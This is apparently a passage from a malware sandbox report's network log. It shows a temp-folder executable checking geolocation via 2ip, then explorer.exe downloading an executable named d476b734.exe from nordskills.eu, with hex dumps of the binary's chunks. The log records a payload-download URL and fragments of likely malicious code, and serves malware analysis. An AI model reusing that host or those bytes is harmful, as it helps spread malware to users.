2023-07-27 16:27:46 UTC	1275	IN	Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2ip.me</a>. <br><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.4	49699	162.0.217.254	443	C:\Users\user\AppData\Local\Temp\D5C1.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 16:26:51 UTC	2	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2023-07-27 16:26:51 UTC	2	IN	HTTP/1.1 429 Too Many Requests Date: Thu, 27 Jul 2023 16:26:51 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-07-27 16:26:51 UTC	2	IN	Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2ip.me</a>. <br><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.4	49703	213.6.54.58	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 16:26:59 UTC	3	OUT	GET /tmp/index.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: nordskills.eu
2023-07-27 16:26:59 UTC	3	IN	HTTP/1.1 200 OK Date: Thu, 27 Jul 2023 16:26:59 GMT Server: Apache Content-Description: File Transfer Content-Disposition: attachment; filename=d476b734.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public Connection: close Transfer-Encoding: chunked Content-Type: application/octet-stream
2023-07-27 16:26:59 UTC	3	IN	Data Raw: 32 30 30 30 0d 0a 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 17 17 58 88 76 79 0b 88 76 79 0b 88 76 79 0b e7 00 e7 0b 9e 76 79 0b e7 00 d2 0b af 76 79 0b e7 00 d3 0b fc 76 79 0b 81 0e ea 0b 81 76 79 0b 88 76 78 0b 1b 76 79 0b e7 00 d6 0b 89 76 79 0b e7 00 e3 0b 89 76 79 0b e7 00 e4 0b 89 76 79 0b 52 69 63 68 88 76 79 0b 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4d 3a 5e 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b Data Ascii: 2000MZ@!L!This program cannot be run in DOS mode.$XvyvyvyvyvyvyvyvxvyvyvyvyRichvyPELM:^c
2023-07-27 16:26:59 UTC	11	IN	Data Raw: 6f 78 57 00 55 00 53 00 45 00 52 00 33 00 32 00 2e 00 44 00 4c 00 4c 00 00 00 00 00 20 43 6f 6d 70 6c 65 74 65 20 4f 62 6a 65 63 74 20 4c 6f 63 61 74 6f 72 27 00 00 00 20 43 6c 61 73 73 20 48 69 65 72 61 72 63 68 79 20 44 65 73 63 72 69 70 74 6f 72 27 00 00 00 00 20 42 61 73 65 20 43 6c 61 73 73 20 41 72 72 61 79 27 00 00 20 42 61 73 65 20 43 6c 61 73 73 20 44 65 73 63 72 69 70 74 6f 72 20 61 74 20 28 00 20 54 79 70 65 20 44 65 73 63 72 69 70 74 6f 72 27 00 00 00 60 6c 6f 63 61 6c 20 73 74 61 74 69 63 20 74 68 72 65 61 64 20 67 75 61 72 64 27 00 60 6d 61 6e 61 67 65 64 20 76 65 63 74 6f 72 20 63 6f 70 79 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 60 76 65 63 74 6f 72 20 76 62 61 73 65 20 63 6f 70 79 20 63 6f 6e 73 74 72 75 63 Data Ascii: oxWUSER32.DLL Complete Object Locator' Class Hierarchy Descriptor' Base Class Array' Base Class Descriptor at ( Type Descriptor'`local static thread guard'`managed vector copy constructor iterator'`vector vbase copy construc
2023-07-27 16:26:59 UTC	11	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:26:59 UTC	11	IN	Data Raw: 32 30 30 30 0d 0a 20 69 6e 69 74 69 61 6c 69 7a 65 72 20 66 6f 72 20 27 00 00 60 65 68 20 76 65 63 74 6f 72 20 76 62 61 73 65 20 63 6f 70 79 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 60 65 68 20 76 65 63 74 6f 72 20 63 6f 70 79 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 00 60 6d 61 6e 61 67 65 64 20 76 65 63 74 6f 72 20 64 65 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 00 00 60 6d 61 6e 61 67 65 64 20 76 65 63 74 6f 72 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 00 60 70 6c 61 63 65 6d 65 6e 74 20 64 65 6c 65 74 65 5b 5d 20 63 6c 6f 73 75 72 65 27 00 00 00 00 60 70 6c 61 63 65 6d 65 6e 74 20 64 65 6c 65 74 65 20 63 6c 6f 73 75 72 65 27 00 00 60 6f 6d 6e 69 Data Ascii: 2000 initializer for '`eh vector vbase copy constructor iterator'`eh vector copy constructor iterator'`managed vector destructor iterator'`managed vector constructor iterator'`placement delete[] closure'`placement delete closure'`omni
2023-07-27 16:26:59 UTC	19	IN	Data Raw: e5 13 00 00 59 c3 Data Ascii: Y
2023-07-27 16:26:59 UTC	19	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:26:59 UTC	19	IN	Data Raw: 32 30 30 30 0d 0a 8b ff 55 8b ec 51 83 65 fc 00 56 8d 45 fc 50 ff 75 0c ff 75 08 e8 95 1b 00 00 8b f0 83 c4 0c 85 f6 75 18 39 45 fc 74 13 e8 19 11 00 00 85 c0 74 0a e8 10 11 00 00 8b 4d fc 89 08 8b c6 5e c9 c3 8b ff 55 8b ec 53 8b 5d 08 83 fb e0 77 6f 56 57 83 3d 74 c6 43 00 00 75 18 e8 93 20 00 00 6a 1e e8 dd 1e 00 00 68 ff 00 00 00 e8 ed 1b 00 00 59 59 85 db 74 04 8b c3 eb 03 33 c0 40 50 6a 00 ff 35 74 c6 43 00 ff 15 70 11 40 00 8b f8 85 ff 75 26 6a 0c 5e 39 05 e4 cc 43 00 74 0d 53 e8 97 20 00 00 59 85 c0 75 a9 eb 07 e8 98 10 00 00 89 30 e8 91 10 00 00 89 30 8b c7 5f 5e eb 14 53 e8 76 20 00 00 59 e8 7d 10 00 00 c7 00 0c 00 00 00 33 c0 5b 5d c3 6a 08 68 b0 6f 42 00 e8 e0 18 00 00 33 c0 8b 75 08 33 db 3b f3 0f 95 c0 3b c3 75 16 e8 51 10 00 00 c7 00 16 00 Data Ascii: 2000UQeVEPuuu9EttM^US]woVW=tCu jhYYt3@Pj5tCp@u&j^9CtS Yu00_^Sv Y}3[]jhoB3u3;;uQ
2023-07-27 16:26:59 UTC	27	IN	Data Raw: c4 0c 85 c0 74 0c Data Ascii: t
2023-07-27 16:26:59 UTC	27	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:26:59 UTC	27	IN	Data Raw: 32 30 30 30 0d 0a 33 c0 50 50 50 50 50 e8 49 f9 ff ff 56 e8 69 5d 00 00 40 59 83 f8 3c 76 2a 56 e8 5c 5d 00 00 8d 04 45 74 c6 43 00 8b c8 2b ce 6a 03 d1 f9 68 4c 1d 40 00 2b d9 53 50 e8 72 5c 00 00 83 c4 14 85 c0 75 bd 68 44 1d 40 00 be 14 03 00 00 56 57 e8 e5 5b 00 00 83 c4 0c 85 c0 75 a5 ff b5 04 fe ff ff 56 57 e8 d1 5b 00 00 83 c4 0c 85 c0 75 91 68 10 20 01 00 68 f8 1c 40 00 57 e8 4e 5a 00 00 83 c4 0c eb 5e 53 53 53 53 53 e9 79 ff ff ff 6a f4 ff 15 8c 11 40 00 8b f0 3b f3 74 46 83 fe ff 74 41 33 c0 8a 0c 47 88 8c 05 08 fe ff ff 66 39 1c 47 74 08 40 3d f4 01 00 00 72 e8 53 8d 85 04 fe ff ff 50 8d 85 08 fe ff ff 50 88 5d fb e8 1e f1 ff ff 59 50 8d 85 08 fe ff ff 50 56 ff 15 ac 11 40 00 8b 4d fc 5f 5e 33 cd 5b e8 f2 eb ff ff c9 c3 6a 03 e8 01 5d 00 00 59 Data Ascii: 20003PPPPPIVi]@Y<v*V\]EtC+jhL@+SPr\uhD@VW[uVW[uh h@WNZ^SSSSSyj@;tFtA3Gf9Gt@=rSPP]YPPV@M_^3[j]Y
2023-07-27 16:26:59 UTC	35	IN	Data Raw: 00 e8 ca be ff ff Data Ascii:
2023-07-27 16:26:59 UTC	35	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:26:59 UTC	35	IN	Data Raw: 32 30 30 30 0d 0a 83 25 90 c6 43 00 00 83 c8 ff eb e4 33 c0 50 50 50 50 50 e8 3d d9 ff ff cc 8b ff 55 8b ec 51 8b 4d 10 53 33 c0 56 89 07 8b f2 8b 55 0c c7 01 01 00 00 00 39 45 08 74 09 8b 5d 08 83 45 08 04 89 13 89 45 fc 80 3e 22 75 10 33 c0 39 45 fc b3 22 0f 94 c0 46 89 45 fc eb 3c ff 07 85 d2 74 08 8a 06 88 02 42 89 55 0c 8a 1e 0f b6 c3 50 46 e8 0a 47 00 00 59 85 c0 74 13 ff 07 83 7d 0c 00 74 0a 8b 4d 0c 8a 06 ff 45 0c 88 01 46 8b 55 0c 8b 4d 10 84 db 74 32 83 7d fc 00 75 a9 80 fb 20 74 05 80 fb 09 75 9f 85 d2 74 04 c6 42 ff 00 83 65 fc 00 80 3e 00 0f 84 e9 00 00 00 8a 06 3c 20 74 04 3c 09 75 06 46 eb f3 4e eb e3 80 3e 00 0f 84 d0 00 00 00 83 7d 08 00 74 09 8b 45 08 83 45 08 04 89 10 ff 01 33 db 43 33 c9 eb 02 46 41 80 3e 5c 74 f9 80 3e 22 75 26 f6 c1 Data Ascii: 2000%C3PPPPP=UQMS3VU9Et]EE>"u39E"FE<tBUPFGYt}tMEFUMt2}u tutBe>< t<uFN>}tEE3C3FA>\t>"u&
2023-07-27 16:26:59 UTC	43	IN	Data Raw: 15 60 11 40 00 5d Data Ascii: `@]
2023-07-27 16:26:59 UTC	44	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:26:59 UTC	44	IN	Data Raw: 32 30 30 30 0d 0a c3 6a 0c 68 c8 72 42 00 e8 b3 b9 ff ff 33 ff 47 89 7d e4 33 db 39 1d 74 c6 43 00 75 18 e8 cf c0 ff ff 6a 1e e8 19 bf ff ff 68 ff 00 00 00 e8 29 bc ff ff 59 59 8b 75 08 8d 34 f5 20 98 42 00 39 1e 74 04 8b c7 eb 6d 6a 18 e8 c7 d5 ff ff 59 8b f8 3b fb 75 0f e8 ec b0 ff ff c7 00 0c 00 00 00 33 c0 eb 50 6a 0a e8 58 00 00 00 59 89 5d fc 39 1e 75 2b 68 a0 0f 00 00 57 ff 15 90 11 40 00 85 c0 75 17 57 e8 41 9e ff ff 59 e8 b7 b0 ff ff c7 00 0c 00 00 00 89 5d e4 eb 0b 89 3e eb 07 57 e8 26 9e ff ff 59 c7 45 fc fe ff ff ff e8 09 00 00 00 8b 45 e4 e8 4c b9 ff ff c3 6a 0a e8 29 ff ff ff 59 c3 8b ff 55 8b ec 8b 45 08 56 8d 34 c5 20 98 42 00 83 3e 00 75 13 50 e8 23 ff ff ff 59 85 c0 75 08 6a 11 e8 14 be ff ff 59 ff 36 ff 15 5c 11 40 00 5e 5d c3 2d a4 03 Data Ascii: 2000jhrB3G}39tCujh)YYu4 B9tmjY;u3PjXY]9u+hW@uWAY]>W&YEELj)YUEV4 B>uP#YujY6\@^]-
2023-07-27 16:26:59 UTC	52	IN	Data Raw: 5d 08 83 fb fe 75 Data Ascii: ]u
2023-07-27 16:26:59 UTC	52	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:26:59 UTC	52	IN	Data Raw: 32 30 30 30 0d 0a 13 e8 40 91 ff ff c7 00 09 00 00 00 83 c8 ff e9 a1 00 00 00 85 db 78 08 3b 1d e4 09 2e 02 72 12 e8 21 91 ff ff c7 00 09 00 00 00 e8 77 99 ff ff eb da 8b c3 c1 f8 05 8d 3c 85 00 0a 2e 02 8b f3 83 e6 1f c1 e6 06 8b 07 0f be 44 06 04 83 e0 01 74 ce 53 e8 cf fe ff ff 59 83 65 fc 00 8b 07 f6 44 06 04 01 74 31 53 e8 52 fe ff ff 59 50 ff 15 48 11 40 00 85 c0 75 0b ff 15 b0 10 40 00 89 45 e4 eb 04 83 65 e4 00 83 7d e4 00 74 19 e8 c7 90 ff ff 8b 4d e4 89 08 e8 aa 90 ff ff c7 00 09 00 00 00 83 4d e4 ff c7 45 fc fe ff ff ff e8 0c 00 00 00 8b 45 e4 e8 4b 99 ff ff c3 8b 5d 08 53 e8 02 ff ff ff 59 c3 8b ff 55 8b ec 83 ec 10 ff 75 0c 8d 4d f0 e8 64 a3 ff ff 8b 45 f0 83 b8 ac 00 00 00 01 7e 13 8d 45 f0 50 6a 04 ff 75 08 e8 7f 05 00 00 83 c4 0c eb 10 8b Data Ascii: 2000@x;.r!w<.DtSYeDt1SRYPH@u@Ee}tMMEEK]SYUuMdE~EPju
2023-07-27 16:26:59 UTC	60	IN	Data Raw: 83 a4 24 80 00 00 Data Ascii: $
2023-07-27 16:26:59 UTC	60	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:26:59 UTC	60	IN	Data Raw: 31 66 66 38 0d 0a 00 fe 89 6c 24 7c c7 44 24 40 4c 33 40 00 c7 84 24 dc 30 00 00 01 00 00 00 8b 44 24 78 8b d8 3b c5 74 4b 8b 38 3b fd 74 3c 55 8d 4c 24 18 e8 00 59 ff ff 8b 47 04 3b c5 76 09 83 f8 ff 73 04 48 89 47 04 8b 77 04 f7 de 1b f6 f7 d6 8d 4c 24 14 23 f7 e8 04 59 ff ff 3b f5 74 0a 8b 16 8b 02 6a 01 8b ce ff d0 53 e8 dc 63 ff ff 83 c4 04 8d 4c 24 44 c7 84 24 dc 30 00 00 ff ff ff ff e8 0a 59 ff ff b8 d1 05 00 00 01 05 b4 09 2e 02 8b 0d b4 09 2e 02 51 6a 00 ff 15 e8 10 40 00 8b 35 c4 10 40 00 8b 3d ec 10 40 00 8b 2d a0 10 40 00 8b 1d a8 10 40 00 a3 5c 69 2d 02 a1 b4 09 2e 02 c7 44 24 14 ab 82 96 00 83 f8 03 75 11 6a 00 6a 00 6a 00 ff 15 1c 10 40 00 a1 b4 09 2e 02 3d df 00 00 00 0f 85 ca 01 00 00 33 d2 8d 8c 24 a0 00 00 00 51 52 52 8d 84 24 dc 00 00 Data Ascii: 1ff8l$\|D$@L3@$0D$x;tK8;t<UL$YG;vsHGwL$#Y;tjScL$D$0Y..Qj@5@=@-@@\i-.D$ujjj@.=3$QRR$
2023-07-27 16:26:59 UTC	68	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-07-27 16:26:59 UTC	68	IN	Data Raw: 7d e0 03 89 75 d8 7c d3 8b f0 6a 02 c1 e6 02 8d 4d f8 5a 2b ce 3b d0 7c 08 8b 31 89 74 95 f0 eb 05 83 64 95 f0 00 83 e9 04 4a 79 e9 8b 35 28 c1 43 00 4e 8d 46 01 99 83 e2 1f 03 c2 c1 f8 05 8d 56 01 81 e2 1f 00 00 80 89 45 d0 79 05 4a 83 ca e0 42 6a 1f 59 2b ca 33 d2 42 d3 e2 8d 5c 85 f0 89 4d d4 85 13 0f 84 82 00 00 00 83 ca ff d3 e2 f7 d2 85 54 85 f0 eb 05 83 7c 85 f0 00 75 08 40 83 f8 03 7c f3 eb 66 8b c6 99 6a 1f 59 23 d1 03 c2 c1 f8 05 81 e6 1f 00 00 80 79 05 4e 83 ce e0 46 83 65 d8 00 33 d2 2b ce 42 d3 e2 8d 4c 85 f0 8b 31 8d 3c 16 3b fe 72 04 3b fa 73 07 c7 45 d8 01 00 00 00 89 39 8b 4d d8 eb 1f 85 c9 74 1e 8d 4c 85 f0 8b 11 8d 72 01 33 ff 3b f2 72 05 83 fe 01 73 03 33 ff 47 89 31 8b cf 48 79 de 8b 4d d4 83 c8 ff d3 e0 21 03 8b 45 d0 40 83 f8 03 7d Data Ascii: }u\|jMZ+;\|1tdJy5(CNFVEyJBjY+3B\MT\|u@\|fjY#yNFe3+BL1<;r;sE9MtLr3;rs3G1HyM!E@}
2023-07-27 16:26:59 UTC	76	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:26:59 UTC	76	IN	Data Raw: 32 30 30 30 0d 0a 0f 84 90 00 00 00 6a 08 e8 fd 01 00 00 8b 45 10 59 b9 00 0c 00 00 23 c1 74 54 3d 00 04 00 00 74 37 3d 00 08 00 00 74 1a 3b c1 75 62 d9 ee 8b 4d 0c dc 19 df e0 dd 05 28 c5 43 00 f6 c4 05 7b 4c eb 48 d9 ee 8b 4d 0c dc 19 df e0 f6 c4 05 7b 2c dd 05 28 c5 43 00 eb 32 d9 ee 8b 4d 0c dc 19 df e0 f6 c4 05 7a 1e dd 05 28 c5 43 00 eb 1e d9 ee 8b 4d 0c dc 19 df e0 f6 c4 05 7a 08 dd 05 18 c5 43 00 eb 08 dd 05 18 c5 43 00 d9 e0 dd 19 83 e6 fe e9 d6 00 00 00 a8 02 0f 84 ce 00 00 00 f6 45 10 10 0f 84 c4 00 00 00 33 f6 a8 10 74 02 8b f3 57 8b 7d 0c dd 07 d9 ee da e9 df e0 f6 c4 44 0f 8b 91 00 00 00 dd 07 8d 45 f8 50 51 51 dd 1c 24 e8 10 04 00 00 8b 4d f8 dd 5d ec 81 c1 00 fa ff ff 83 c4 0c 81 f9 ce fb ff ff 7d 0d dd 45 ec 8b f3 dc 0d 20 34 40 00 eb 53 Data Ascii: 2000jEY#tT=t7=t;ubM(C{LHM{,(C2Mz(CMzCCE3tW}DEPQQ$M]}E 4@S
2023-07-27 16:26:59 UTC	84	IN	Data Raw: 00 00 00 00 00 00 Data Ascii:
2023-07-27 16:26:59 UTC	84	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:26:59 UTC	84	IN	Data Raw: 32 30 30 30 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2000
2023-07-27 16:26:59 UTC	92	IN	Data Raw: 00 00 00 00 00 00 Data Ascii:
2023-07-27 16:26:59 UTC	92	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:26:59 UTC	92	IN	Data Raw: 32 30 30 30 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2000
2023-07-27 16:26:59 UTC	100	IN	Data Raw: 00 00 00 00 00 00 Data Ascii:
2023-07-27 16:26:59 UTC	100	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:26:59 UTC	100	IN	Data Raw: 32 30 30 30 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2000
2023-07-27 16:26:59 UTC	108	IN	Data Raw: 00 00 00 00 00 00 Data Ascii:
2023-07-27 16:26:59 UTC	108	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:26:59 UTC	108	IN	Data Raw: 32 30 30 30 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2000
2023-07-27 16:26:59 UTC	116	IN	Data Raw: 00 00 00 00 00 00 Data Ascii:
2023-07-27 16:26:59 UTC	116	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:26:59 UTC	116	IN	Data Raw: 32 30 30 30 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2000
2023-07-27 16:26:59 UTC	124	IN	Data Raw: 00 00 00 00 00 00 Data Ascii:
2023-07-27 16:26:59 UTC	124	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:26:59 UTC	124	IN	Data Raw: 31 66 66 38 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 1ff8
2023-07-27 16:26:59 UTC	132	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
